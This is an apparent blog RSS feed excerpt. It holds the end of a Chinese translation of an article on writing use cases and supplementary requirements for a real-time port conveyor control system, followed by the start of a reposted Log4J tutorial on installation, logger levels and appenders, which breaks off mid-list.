<P>第一个例子可以作为一个分支流，但是为了使主事件流基于阅读，我们可以简单地说：“系统检查是否有特殊需求的xyz节中规定的不能启动的状况发生”。在这个特定用例中，如果我们在码头传送带上还有东西，而传送带由于完成了往甲板上卸矿石已经停止工作，那么我们将给操作员发出一个警告。</P>
<P>第二个例子是一个算法的详细描述，这个算法用来调整传送带的传输量和传送速度。这里，主事件流可以简单地描述：“传输量和传送速度按照特殊需求中的uvw节进行调整。”</P>
<P><A name=N10161><SPAN class=atitle2>结构化用例</SPAN></A><BR>用例的结构化是一个高级课题。你也可以不使用这项技术来完成一个系统的需求文档。用例的结构化可以让你避免冗余信息，保证用例文本只存在一个单独的可维护的位置。关于结构化的重要的一点是，你必须避免让用例模型和用例变得难以理解。</P>
<P>结构化技术在图10中显示。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig10.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 10:</B> 结构化用例 
<P>在图的左边，我们有一个用例，它有一个主事件流，一个分支流和一个子事件流。子事件流和分支流都可以作为单独的用例分出来。分支流变成一个新的用例，扩展了原始的用例。子事件流也变成一个新的用例，它包含在原始的用例中。一般来说，包含关系仅仅用于一个分支流共用于多个用例的情况。这就是我们如何确保仅仅写一个分支流，仅仅有一个维护地点的方法。通常，当需要在已经存在的用例上增加新功能而且你又不想修改原始用例时，可以创建一个扩展流</P>
<P>把这些结构化技术用到我们的产品传送系统后，改变后的用例如图11所示：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig11.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 11:</B> 用例模型的修改 
<P>这些新的用例称为“抽象用例”，因为它们没有操作者，你不能直接调用它们。如果我把这些抽象用例隐藏起来，你仍然可以相当清楚地看到系统的主要功能。</P>
<P>一系列的错误处理用例都以这样的声明开始：“当系统检测到设备故障”或者“当系统检测到超载”等。然后用例继续描述系统在这些情况的响应。</P>
<P>在图11的顶部，我提炼出了两个抽象用例：一个是启动作业，另一个是停止作业。从技术角度来说，我在这里破坏了规则：包含用例应当被多于一个的用例共享。我之所以这么做是因为，如果我在“传送产品”用例中写出所有的内容，文档将超过300页。把它分开可以让很多人同时在系统的不同部分描述需求。</P>
<P><A name=N10190><SPAN class=atitle2>补充需求</SPAN></A><BR>我们有很多补充的需求，它们不适合放在任何用例中。因为特定的需求与具体的用例相关，这些都是典型的非功能性需求。在你在用例中的需求和补充的需求之间存在一个平衡。当你进行实时系统工作时，你可能发现会比你进行IT系统开发时有更多的补充需求。这是由于在实时系统中有更多的有时间要求的需求，它们都在补充需求中描述。</P>
<P>下面是放在补充需求中的非功能需求的例子：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>The PT System shall, upon notification of fault requiring upstream interlocks to be set to "False", set Upstream interlocks to False within 0.60 second. 
<LI>The PT System annual Availability (refer Glossary) shall exceed 99.954%. 
<LI>The PT System Maintenance Procedures shall comply with the Client's maintenance strategy for real-time PLC control systems. 
<LI>The PT System shall use the existing PMAC System for the CRO, PCO, and viewer interface. 
<LI>The portion of the PT System controlling route interlocking and directly connected to route equipment and interconnected systems shall be PLC based and, in the event of failure of higher level control within the PT System, shall be capable of safely operating any route currently starting, running, or stopping. </LI></UL>
<P>功能需求也可以包括在补充需求中。当有些功能用用例写还不如用补充需求描述时，可以把这些需求放在补充需求中，而不用写一个完整地用例规格定义。下面是一些这样的例子:</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>The System shall advise the Operator if the sum of the source feed setpoints for a route is more than 10% less than the minimum capacity for the route. 
<LI>If a feed source has been enabled for a route with a cleanup destination, the System shall: 
<UL>
<LI>Raise an alarm 
<LI>Re-raise the alarm every 10 minutes while the condition persists </LI></UL>
<LI>If during a ship hatch change, burden is on the wharf conveyor at or within the gross stopping distance of the shiploader, the System shall: 
<UL>
<LI>Raise an alarm 
<LI>Issue a message to the operator 
<LI>Stop the wharf conveyor 
<LI>Issue a request to the SHLS to stop the shiploader boom conveyor </LI></UL></LI></UL>
<P><A name=N101D7><SPAN class=atitle2>用例的益处</SPAN></A><BR>用例有以下益处：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>给出需求的上下文，清楚显示为什么需要系统。 
<LI>把需求按照时间顺序排列，使需求比传统方式更加容易读，更容易理解。 
<LI>更容易得到客户的认同，因为他们能更容易地阅读和理解。 
<LI>可以用作项目计划、分析、设计、测试和文档的基础。 </LI></UL>
<P>另一方面，关于用例有很多不正确的观点。第一个是，象当前多种书籍和文章中指出的，传统的书写需求的方法能够更严谨和精确。实际上并不是这样的，我们在这个项目中也能写出非常严谨而精确的用例。</P>
<P>另一个看法是任何没有经过专业培训的人都可以写用例。写传统需求文档的原则在这里仍然适用。你需要从外部视角来看系统做什么。你不需要写出系统是怎样做的。象传统的需求一样，你写的用例需求也应该是可测试的。新手经常继续使用老的诸如功能分解的习惯。有开发背景的人经常倾向于从系统内部而不是用外部视角描述。</P>
<P><A name=N101F7><SPAN class=atitle2>用例贯穿整个项目</SPAN></A><BR>我前面提到，用例在整个项目中都有用。</P>
<P><A name=N10202><SPAN class=atitle3>项目计划</SPAN></A><BR>在这里我们没有足够的空间讨论分配用例迭代的准则。只能简单说，这些准则基于RUP的风险评估。下面是分配的迭代：</P>
<TABLE width="60%" border=1>
<TBODY>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代1</B> </TD>
<TD>启动、停止和处理一个独立作业上的一个设备故障。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护设备和作业。 </TD></TR>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代2</B> </TD>
<TD>启动、停止和处理覆盖作业和作业组上的设备故障。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护计划和约束。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">维护产品。 </TD></TR>
<TR>
<TD><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">迭代3</B> </TD>
<TD>创建产品产品差距。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">改变作业所有权。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">直接命令设备 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">删除作业。 <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">修改负载数据。 </TD></TR></TBODY></TABLE>
<P><A name=N10244><SPAN class=atitle3>用例分析</SPAN></A><BR>用例分析是一个用来识别对象、类、类属性和类方法的过程。 由于这个项目的实现方法是非面向对象的，我们使用一个映射把面向对象的分析模型转换到过程设计模型。图12显示对启动作业用例进行分析的部分结果：</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig12.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 12:</B> 从启动作业用例导出的序列图 
<P><A name=N10258><SPAN class=atitle3>测试计划</SPAN></A><BR>我极力推荐下面的一篇文章：June 2001 Rational Edge，Jim Heumann，"Generating Test Cases from Use Cases"。在我们的PT系统中使用这种方法识别测试用例。图13显示启动作业用例的迭代2的测试用例。注意在测试用例和用例需求之间的连接。它可以帮助保证需求都被测试，以及测试用例随着需求变更而更新。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig13.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 13:</B> 从启动作业用例导出的测试用例 
<P><A name=N1026C><SPAN class=atitle2>经验学习</SPAN></A><BR>1. 集中在外部可视的行为上。这一点怎么强调都不过分，这就是我为什么这里再次重复的原因。在这个项目中，我经常告诉那些需求分析人员，让他们想象它们是飞翔在港口工厂的用户，让他们问自己他们想要看见发生的事情。如果你写的描述一些事情的需求不可见，那么你将不能对它进行测试。</P>
<P>2. 不要引入设计。这与经验1相关。下面是一个例子</P>
<P>每个作业都拥有一个使能信号，这个信号来自于作业的运送源。使能信号在操作间内部驱动作业运送来源的物理信号。(用例在这里描述了系统内部信号。)</P>
<P>有很多原因使你不应该这么做。首先，它使得测试很困难，因为描述的行为在外部不可见。第二，如果你把设计信息放到用例中，你就需要照着这些信息实现，因为那是需求，因此你不仅必须照着它来进行演示说明，而且它也限制你的设计人员的实现方式。</P>
<P>3. 不要为内部监控过程写用例。在这个系统中，由于是实时系统，有很多在系统内部运行的过程用来检查、监控和轮询其它设备。你不应该在你的用例中描述这些，因为它是设计，它仅仅是一种可能的实现方式。</P>
<P>除非过程与系统的目标相关，例如在建筑监控中的“监控建筑”用例中，你应该把它们写在补充需求规格中。例如</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>系统应该每200毫秒或者更短的时间内检查所有设备的状态。 
<LI>系统应该在设备失败的200毫秒内开始响应。 
<LI>系统应该保证产品混合率在设定值的+/-5%范围内。 </LI></UL>
<P>在用例的分支流或者扩展用例中，都可以描述如果系统检测到问题时发生什么事情。这些需求可以使你设计诸如轮询设备或者设备产生中断等的过程，然是它们属于设计应该考虑的事情，不属于需求的范围。</P>
<P>4. 不要太早"冻结"用例。在项目中太早冻结用例将会导致很多问题，因为在你和你的客户更好地理解需求时，你可以找到机会重新组织用例，或者你将引出新的用例，或者你要修改现有的用例。需求变更会发生，但这需要在一个迭代过程的管理和限制下进行，以便进行适当的影响评估，以及合适的预算和计划日程的变更。如果你使用迭代过程，你至少有在后面的迭代中改正的机会。</P>
<P>5. 不要过于追求完美的用例模型而超出项目计划日程。这是经验4的必然结论。你从来都不可能得到一个完美的用例模型。在某个点上，你将不得不停下修补完善用例模型的工作，开始实际的系统开发工作。即使用例模型并不完美，你也可能开发出符合用户需求的系统。最后，图14显示PT用例模型的实际样子。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig14.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 14:</B> 不完善的用例模型 
<P>你将看到选择作业、启动作业和停止作业是主要的用例。这里并没有围绕着传送产品用例把所有其它用例联系在一起，我们不得不在附加需求中描述其它的需求。来自操作员和相关者的选择、启动和停止作业的需求并没有进行评估。用例模型不完善的主要原因在于，需求必须在某个点冻结，以便开发者不会频繁地面对不确定的开发目标，系统应当被实际开发测试和部署。</P>
<P>6. 不要害怕收集细节信息。用例假定容易被每个人阅读，但是这并不意味着你在大街上随便找一个人，给他一个描述复杂系统的用例，就能够期望他能够理解。</P>
<P>需要问你自己的问题是：你的客户需要多大程度的细节？你想给你的开发者多大的范围？如果你在用例中没有给出很多细节，你就让你的开发者自行作出决定。你想这样做吗？你的开发者可能有丰富的经验而你也很高兴这么做。另一方面，如果你正在进行实际的开发，没有充分的细节不一定是可以接受的。你需要给开发者和测试者描述以足够的细节信息，说明什么对于客户是重要的。</P>
<P>如果有大量的细节信息，可以考虑把它们放到特殊需求或者附加需求中，或者用活动框图(Activity Diagram)来补充用例。(参见经验9)</P>
<P>7. 不要引入用例间的直接交互。用例不能相互交互。它们可以相互影响，但是只能通过操作系统状态来影响。</P>
<P>8. 不要把有关解决资源争夺问题的架构决策放到用例中。这一点与第2课有关，例如，当操作员使能一个作业的来源时，同时第二个作业共享同一个来源因此得到一个来源不可用的错误时，会发生什么情况？</P>
<P>这些状况应该在不同的用例中描述。在每个用例，你只需要简单描述在给定环境下你想要系统做什么。在这个例子中，系统内部如何工作，什么信号发到设备，这些都属于架构或者设计问题。系统架构需要解决这些问题，诸如保证信号在非常接近情况下接收、不同顺序接受或者高频率地接收。</P>
<P>9. 使用活动框图以便使得复杂的用例能够易于理解。活动框图可以作为用例的规格创建。</P>
<P><A name=N102BC><SPAN class=atitle2>总结</SPAN></A><BR>在PT系统中使用用例给项目带来很大的价值。只要有外部可见的系统行为，就应该使用用例来定义需求规格。</P>
<P>对任何系统来说，在确定用例时，要集中在系统的目标上以及系统给相关人员提供的价值。在写用例时要维护一个系统的外部视图。</P>
<P>对于实时系统，附加需求在整个系统需求中占有更大的百分比。</P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>kerry 软件开发咨询顾问, 主要从事软件开发过程的咨询和指导工作，是 Rational 产品的热衷者，同时对 J2EE 技术有着丰富的经验。可以通过 <A href="mailto:kerrylike@163.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">kerrylike@163.com</A> 联系作者</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/12275.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-07 00:23 <a href="http://www.blogjava.net/kapok/archive/2005/09/07/12275.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Log4J review</title><link>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 16:03:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12274.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/07/12274.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12274.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12274.html</trackback:ping><description><![CDATA[<DIV class=article xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H1 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J>Log4J</H1></DIV>
<DIV xmlns="http://www.w3.org/1999/xhtml">
<DIV class=author xmlns="http://www.w3.org/1999/xhtml">
<H3 class=author>Ashley J.S Mills</H3>
<DIV class=affiliation xmlns="http://www.w3.org/1999/xhtml">
<DIV class=address xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><TT>&lt;<A href="mailto:ug55axm@cs.bham.ac.uk">ug55axm@cs.bham.ac.uk</A>&gt;</TT></P></DIV></DIV></DIV></DIV>
<DIV xmlns="http://www.w3.org/1999/xhtml">
<P class=copyright xmlns="http://www.w3.org/1999/xhtml">Copyright © 2002 The University Of Birmingham</P></DIV><A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html">http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html</A><BR>
<HR xmlns="http://www.w3.org/1999/xhtml">
</DIV>
<DIV class=toc>
<P><B>Table of Contents</B></P>
<DL>
<DT>1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Introduction">Introduction</A> 
<DT>2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Installation">Installation</A> 
<DT>3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics">log4j Basic Concepts</A> 
<DD>
<DL>
<DT>3.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Logger">Logger</A> 
<DT>3.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender">Appender</A> 
<DD>
<DL>
<DT>3.2.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-ConsoleAppender">Using A ConsoleAppender</A> 
<DT>3.2.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-FileAppender">Using A FileAppender</A> 
<DT>3.2.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Appender-WriterAppender">Using A WriterAppender</A></DT></DL>
<DT>3.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Layout">Layout</A> 
<DT>3.4. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example">Basic Examples Illustrating this</A> 
<DD>
<DL>
<DT>3.4.1. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-SimpAndFile">SimpleLayout and FileAppender</A> 
<DT>3.4.2. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-HTMLandFile">HTMLLayout and WriterAppender</A> 
<DT>3.4.3. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-Basics-Basics-Example-consandpatt">PatternLayout and ConsoleAppender</A></DT></DL></DD></DL>
<DT>4. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-External-Config-File">Using External Configuration Files</A> 
<DT>5. <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html#LOG4J-References">References (And links you may find useful)</A></DT></DL></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Introduction xmlns="http://www.w3.org/1999/xhtml">1.&nbsp;Introduction</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Logging within the context of program development constitutes inserting statements into the program that provide some kind of output information that is useful to the developer. Examples of logging are trace statements, dumping of structures and the familiar System.out.println or printf debug statements. log4j offers a hierarchical way to insert logging statements within a Java program. Multiple output formats and multiple levels of logging information are available. </P>
<P xmlns="http://www.w3.org/1999/xhtml">By using a dedicated logging package, the overhead of maintaining thousands of System.out.println statements is alleviated as the logging may be controlled at runtime from configuration scripts. log4j maintains the log statements in the shipped code. By formalising the process of logging, some feel that one is encouraged to use logging more and with higher degree of usefulness. </P></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Installation xmlns="http://www.w3.org/1999/xhtml">2.&nbsp;Installation</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">In order to use the tools we are about to install it is necessary to setup the operating environment so that the tools know where to find stuff they need and the operating system knows where to find the tools. A understanding of how to do this is essential as you will be asked to change the operating environment. I have comprehensively covered this in documents entitled <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/winenvars/winenvarshome.html" target=_top><I>Configuring A Windows Working Environment</I></A> and <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/unixenvars/unixenvarshome.html" target=_top><I>Configuring A Unix Working Environment</I></A>. </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Download the log4j distribution from <A href="http://jakarta.apache.org/log4j/docs/download.html" target=_top>http://jakarta.apache.org/log4j/docs/download.html</A>. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Extract the archived files to some suitable directory.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Add the file <TT>dist/lib/log4j-1.2.6.jar</TT> to your <TT>CLASSPATH</TT> environment variable. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml">Download <A href="http://apache.rmplc.co.uk/dist/xml/xerces-j/Xerces-J-bin.2.6.0.zip" target=_top>http://apache.rmplc.co.uk/dist/xml/xerces-j/Xerces-J-bin.2.6.0.zip</A> and unzip it to a temporary directory. Copy the files <TT>xercesImpl.jar</TT> and <TT>xmlParserAPIs.jar</TT> to some permanent location and append their paths to the <TT>CLASSPATH</TT> environment variable. </P></LI></OL></DIV></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics xmlns="http://www.w3.org/1999/xhtml">3.&nbsp;log4j Basic Concepts</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The use of log4j revolves around 3 main things:</P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public class Logger</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>Logger</SPAN> is responsible for handling the majority of log operations. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public interface Appender</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=emphasis><EM>Appender</EM></SPAN> is responsible for controlling the output of log operations. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public abstract class Layout</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>Layout</SPAN> is responsible for formatting the output for <SPAN class=strong>Appender</SPAN>. </P></LI></OL></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Logger xmlns="http://www.w3.org/1999/xhtml">3.1.&nbsp;Logger</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The logger is the core component of the logging process. In log4j, there are 5 normal levels <SPAN class=strong>Level</SPAN>s of logger available (not including custom <SPAN class=strong>Level</SPAN>s), the following is borrowed from the log4j API (<A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level DEBUG</SPAN> </P>
<P xmlns="http://www.w3.org/1999/xhtml">The DEBUG Level designates fine-grained informational events that are most useful to debug an application. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level INFO</SPAN> </P>
<P xmlns="http://www.w3.org/1999/xhtml">The INFO level designates informational messages that highlight the progress of the application at coarse-grained level. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level WARN</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The WARN level designates potentially harmful situations.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level ERROR</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The ERROR level designates error events that might still allow the application to continue running.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level FATAL</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The FATAL level designates very severe error events that will presumably lead the application to abort. </P></LI></UL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">In addition, there are two special levels of logging available: (descriptions borrowed from the log4j API <A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level ALL</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The ALL Level has the lowest possible rank and is intended to turn on all logging.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level OFF</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The OFF Level has the highest possible rank and is intended to turn off logging.</P></LI></UL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The behaviour of loggers is hierarchical. The following table illustrates this:</P>
<DIV class=figure xmlns="http://www.w3.org/1999/xhtml"><A id=id215994 xmlns="http://www.w3.org/1999/xhtml">
<P class=title xmlns="http://www.w3.org/1999/xhtml"><B>Figure&nbsp;1.&nbsp;Logger Output Hierarchy</B></P>
<DIV class=mediaobject xmlns="http://www.w3.org/1999/xhtml"><IMG alt="Logger Output Hierarchy" src="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/images/loggerlevels.png"></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A logger will only output messages that are of a level greater than or equal to it. If the level of a logger is not set it will inherit the level of the closest ancestor. So if a logger is created in the package <SPAN class=strong>com.foo.bar</SPAN> and no level is set for it, it will inherit the level of the logger created in <SPAN class=strong>com.foo</SPAN>. If no logger was created in <SPAN class=strong>com.foo</SPAN>, the logger created in <SPAN class=strong>com.foo.bar</SPAN> will inherit the level of the <SPAN class=strong>root</SPAN> logger, the root logger is always instantiated and available, the root logger is assigned the level <SPAN class=strong>DEBUG</SPAN>. </P>
<P xmlns="http://www.w3.org/1999/xhtml">There are a number of ways to create a logger, one can retrieve the root logger:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>Logger logger = Logger.getRootLogger();</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">One can create a new logger:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>Logger logger = Logger.getLogger("MyLogger");</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">More usually, one instantiates a static logger globally, based on the name of the class:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>static Logger logger = Logger.getLogger(test.class);</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">All these create a logger called "logger", one can set the level with:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>logger.setLevel((Level)Level.WARN);</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can use any of 7 levels; Level.DEBUG, Level.INFO, Level.WARN, Level.ERROR, Level.FATAL, Level.ALL and Level.OFF. </P></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender xmlns="http://www.w3.org/1999/xhtml">3.2.&nbsp;Appender</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The <SPAN class=strong>Appender</SPAN> controls how the logging is output. The Appenders available are (descriptions borrowed from the log4j API <A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>ConsoleAppender:</SPAN> appends log events to System.out or System.err using a layout specified by the user. The default target is System.out. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>DailyRollingFileAppender</SPAN> extends FileAppender so that the underlying file is rolled over at a user chosen frequency. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
